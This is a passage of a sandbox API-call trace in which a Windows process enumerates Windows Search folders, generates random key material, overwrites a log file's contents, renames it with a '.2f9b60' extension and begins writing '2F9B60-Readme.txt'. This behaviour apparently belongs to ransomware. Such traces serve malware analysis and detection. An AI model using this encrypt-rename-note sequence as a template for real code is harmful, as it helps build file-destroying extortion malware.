nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.495] wcscmp (_String1="..", _String2=".") returned 1 [0151.495] wcscmp (_String1="..", _String2="..") returned 0 [0151.495] FindNextFileW (in: hFindFile=0x1cd86130, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27e6af80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27e6af80, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0151.495] FindClose (in: hFindFile=0x1cd86130 | out: hFindFile=0x1cd86130) returned 1 [0151.495] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce582a0) returned 1 [0151.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20507f50) returned 1 [0151.496] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205088b0) returned 1 [0151.496] FindNextFileW (in: hFindFile=0x1cd867f0, lpFindFileData=0x1ce56f20 | out: lpFindFileData=0x1ce56f20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GatherLogs", cAlternateFileName="GATHER~1")) returned 1 [0151.496] wcscmp (_String1="GatherLogs", _String2=".") returned 1 [0151.496] wcscmp (_String1="GatherLogs", _String2="..") returned 1 [0151.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x205088b0 [0151.496] wcscpy (in: _Dest=0x205088b0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows" [0151.496] wcscat (in: _Dest=0x205088b0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\" [0151.496] wcscat (in: _Dest=0x205088b0, _Source="GatherLogs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" [0151.496] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x20507f50 [0151.496] wcscpy (in: _Dest=0x20507f50, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" [0151.497] wcscat (in: _Dest=0x20507f50, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\" [0151.497] wcscat (in: _Dest=0x20507f50, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*" [0151.497] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce582a0 [0151.497] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\*", lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858c70 [0151.543] wcscmp (_String1=".", _String2=".") returned 0 [0151.543] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x27e6af80, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.543] wcscmp (_String1="..", _String2=".") returned 1 [0151.543] wcscmp (_String1="..", _String2="..") returned 0 [0151.543] FindNextFileW (in: hFindFile=0x1b858c70, lpFindFileData=0x1ce582a0 | out: lpFindFileData=0x1ce582a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex", cAlternateFileName="SYSTEM~1")) returned 1 [0151.543] wcscmp (_String1="SystemIndex", _String2=".") returned 1 [0151.543] wcscmp (_String1="SystemIndex", _String2="..") returned 1 [0151.543] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x20279c70 [0151.544] wcscpy (in: _Dest=0x20279c70, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs" [0151.544] wcscat (in: _Dest=0x20279c70, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\" [0151.544] wcscat (in: _Dest=0x20279c70, _Source="SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" [0151.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xae) returned 0x20279a30 [0151.544] wcscpy (in: _Dest=0x20279a30, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" [0151.544] wcscat (in: _Dest=0x20279a30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" [0151.544] wcscat (in: _Dest=0x20279a30, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*" [0151.544] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce56080 [0151.544] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\*", lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b858e50 [0151.546] wcscmp (_String1=".", _String2=".") returned 0 [0151.546] FindNextFileW (in: hFindFile=0x1b858e50, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29932700, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0151.546] wcscmp (_String1="..", _String2=".") returned 1 [0151.546] wcscmp (_String1="..", _String2="..") returned 0 [0151.546] FindNextFileW (in: hFindFile=0x1b858e50, lpFindFileData=0x1ce56080 | out: lpFindFileData=0x1ce56080*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x29932700, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29932700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b773330, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x13a, dwReserved0=0x0, dwReserved1=0x0, cFileName="SystemIndex.1.Crwl", cAlternateFileName="SYSTEM~1.CRW")) returned 1 [0151.546] wcscmp (_String1="SystemIndex.1.Crwl", _String2=".") returned 1 [0151.546] wcscmp (_String1="SystemIndex.1.Crwl", _String2="..") returned 1 [0151.546] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776cb0 [0151.546] wcscpy (in: _Dest=0x1b776cb0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex" [0151.546] wcscat (in: _Dest=0x1b776cb0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" [0151.546] wcscat (in: _Dest=0x1b776cb0, _Source="SystemIndex.1.Crwl" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" [0151.546] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl")) returned 0x2020 [0151.547] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl", dwFileAttributes=0x20) [0203.251] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\SystemIndex.1.Crwl" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\systemindex.1.crwl"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x80c [0203.310] GetFileSizeEx (in: hFile=0x80c, lpFileSize=0x2e8ef9a0 | out: lpFileSize=0x2e8ef9a0*=314) returned 1 [0203.325] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x136, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.325] ReadFile (in: hFile=0x80c, lpBuffer=0x2e8ef920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2e8ef968, lpOverlapped=0x0 | out: lpBuffer=0x2e8ef920*, lpNumberOfBytesRead=0x2e8ef968*=0x4, lpOverlapped=0x0) returned 1 [0203.326] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa800 [0203.326] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa710 [0203.327] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aae30 [0203.327] NtQuerySystemTime (in: CurrentTime=0x2e8ef860 | out: CurrentTime=0x2e8ef860*=132462178084234000) returned 0x0 [0203.327] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x2ba48248 [0203.327] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x35bd001d [0203.327] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0xc189129 [0203.327] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x507570c4 [0203.327] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x45576b8e [0203.327] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x6db39d66 [0203.327] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x38b1a7a2 [0203.327] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x5a9782b5 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x423a8bd1 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x57be11f0 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x6652ec23 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x3342938 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x53d32732 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x6ca2417f [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0xe989e17 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x590db82 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x7496982d [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x1fda6fbe [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x78e7f405 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x1f076181 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x1e3a39e5 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x45b3fa9c [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x69fea296 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x78646ba8 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x40e19fec [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x3b967fe0 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x51139b90 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x5c9764c6 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0xbcb5b20 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x14247c40 [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x30b37b6d [0203.328] RtlRandomEx (in: Seed=0x2e8ef850 | out: Seed=0x2e8ef850) returned 0x306f2f24 [0203.371] ReadFile (in: hFile=0x80c, lpBuffer=0x42441150, nNumberOfBytesToRead=0x13a, lpNumberOfBytesRead=0x2e8ef850, lpOverlapped=0x0 | out: lpBuffer=0x42441150*, lpNumberOfBytesRead=0x2e8ef850*=0x13a, lpOverlapped=0x0) returned 1 [0203.387] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.388] WriteFile (in: hFile=0x80c, lpBuffer=0x42444d60*, nNumberOfBytesToWrite=0x13a, lpNumberOfBytesWritten=0x2e8ef854, lpOverlapped=0x0 | out: lpBuffer=0x42444d60*, lpNumberOfBytesWritten=0x2e8ef854*=0x13a, lpOverlapped=0x0) returned 1 [0206.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f870 [0206.454] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2f840 [0206.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2f840) returned 1 [0206.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42444d60) returned 1 [0206.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42441150) returned 1 [0206.455] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba7e0) returned 1 [0206.456] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059000) returned 1 [0206.456] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1cd9f2f0 [0206.456] SetFilePointerEx (in: hFile=0x80c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0207.118] WriteFile (in: hFile=0x80c, lpBuffer=0x42c15710*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x2e8ef970, lpOverlapped=0x0 | out: lpBuffer=0x42c15710*, lpNumberOfBytesWritten=0x2e8ef970*=0x116, lpOverlapped=0x0) returned 1 [0209.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0209.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e2f0 [0209.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e840 [0209.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e840) returned 1 [0209.416] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x42c1e840 [0209.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e810 [0209.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c1e750 [0209.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c1e750) returned 1 [0209.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e2f0) returned 1 [0209.418] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0209.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x49) returned 0x1cd9dcd0 [0209.418] sprintf (in: _Dest=0x1cd9dcd0, _Format="%c%c" | out: _Dest="03") returned 2 [0209.418] sprintf (in: _Dest=0x1cd9dcd2, _Format="%c%c" | out: _Dest="9b") returned 2 [0209.418] sprintf (in: _Dest=0x1cd9dcd4, _Format="%c%c" | out: _Dest="c6") returned 2 [0209.418] sprintf (in: _Dest=0x1cd9dcd6, _Format="%c%c" | out: _Dest="cb") returned 2 [0209.418] sprintf (in: _Dest=0x1cd9dcd8, _Format="%c%c" | out: _Dest="98") returned 2 [0209.418] sprintf (in: _Dest=0x1cd9dcda, _Format="%c%c" | out: _Dest="3d") returned 2 [0209.418] sprintf (in: _Dest=0x1cd9dcdc, _Format="%c%c" | out: _Dest="15") returned 2 [0209.418] sprintf (in: _Dest=0x1cd9dcde, _Format="%c%c" | out: _Dest="24") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dce0, _Format="%c%c" | out: _Dest="65") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dce2, _Format="%c%c" | out: _Dest="89") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dce4, _Format="%c%c" | out: _Dest="a6") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dce6, _Format="%c%c" | out: _Dest="29") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dce8, _Format="%c%c" | out: _Dest="ff") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcea, _Format="%c%c" | out: _Dest="60") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcec, _Format="%c%c" | out: _Dest="38") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcee, _Format="%c%c" | out: _Dest="14") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcf0, _Format="%c%c" | out: _Dest="4b") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcf2, _Format="%c%c" | out: _Dest="75") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcf4, _Format="%c%c" | out: _Dest="6c") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcf6, _Format="%c%c" | out: _Dest="dc") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcf8, _Format="%c%c" | out: _Dest="17") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcfa, _Format="%c%c" | out: _Dest="37") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcfc, _Format="%c%c" | out: _Dest="b6") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dcfe, _Format="%c%c" | out: _Dest="3e") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd00, _Format="%c%c" | out: _Dest="87") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd02, _Format="%c%c" | out: _Dest="39") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd04, _Format="%c%c" | out: _Dest="1c") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd06, _Format="%c%c" | out: _Dest="ed") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd08, _Format="%c%c" | out: _Dest="2f") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd0a, _Format="%c%c" | out: _Dest="e2") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd0c, _Format="%c%c" | out: _Dest="3b") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd0e, _Format="%c%c" | out: _Dest="10") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd10, _Format="%c%c" | out: _Dest="ec") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd12, _Format="%c%c" | out: _Dest="f1") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd14, _Format="%c%c" | out: _Dest="55") returned 2 [0209.419] sprintf (in: _Dest=0x1cd9dd16, _Format="%c%c" | out: _Dest="3f") returned 2 [0209.419] RtlInitAnsiString (in: DestinationString=0x2e8ef9e8, SourceString="039bc6cb983d15246589a629ff6038144b756cdc1737b63e87391ced2fe23b10ecf1553f" | out: DestinationString="039bc6cb983d15246589a629ff6038144b756cdc1737b63e87391ced2fe23b10ecf1553f") [0209.419] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e8ef9b8, SourceString="039bc6cb983d15246589a629ff6038144b756cdc1737b63e87391ced2fe23b10ecf1553f", AllocateDestinationString=1 | out: DestinationString="039bc6cb983d15246589a629ff6038144b756cdc1737b63e87391ced2fe23b10ecf1553f") returned 0x0 [0209.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43186020 [0209.420] wcscat (in: _Dest=0x1b799610, _Source="039bc6cb983d152465" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\039bc6cb983d152465") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\039bc6cb983d152465" [0209.420] wcscat (in: _Dest=0x1b799610, _Source=".2f9b60" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\039bc6cb983d152465.2f9b60") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\039bc6cb983d152465.2f9b60" [0209.420] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\039bc6cb983d152465.2f9b60", NtPathName=0x2e8ef990, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\039bc6cb983d152465.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0209.420] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xfc) returned 0x431a8720 [0216.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a8720) returned 1 [0216.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430ad850) returned 1 [0216.344] NtQueryInformationFile (in: FileHandle=0x80c, IoStatusBlock=0x2e8ef9f8, FileInformation=0x2e8efa08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e8ef9f8, FileInformation=0x2e8efa08) returned 0x0 [0216.344] NtSetInformationFile (FileHandle=0x80c, IoStatusBlock=0x2e8ef9f8, FileInformation=0x2e8efa08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0219.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b799610) returned 1 [0219.772] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43186020) returned 1 [0219.772] FlushFileBuffers (hFile=0x80c) returned 1 [0221.387] CloseHandle (hObject=0x80c) returned 1 [0223.005] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x431150c0 [0223.005] wcscpy (in: _Dest=0x431150c0, _Source="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\" [0223.005] wcscat (in: _Dest=0x431150c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\2F9B60-Readme.txt") returned="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\2F9B60-Readme.txt" [0223.005] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\2F9B60-Readme.txt" (normalized: "c:\\users\\all users\\microsoft\\search\\data\\applications\\windows\\gatherlogs\\systemindex\\2f9b60-readme.txt")) returned 0xffffffff [0223.006] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Search\\Data\\Applications\\Windows\\GatherLogs\\SystemIndex\\2F9B60-Readme.txt" (normalized: 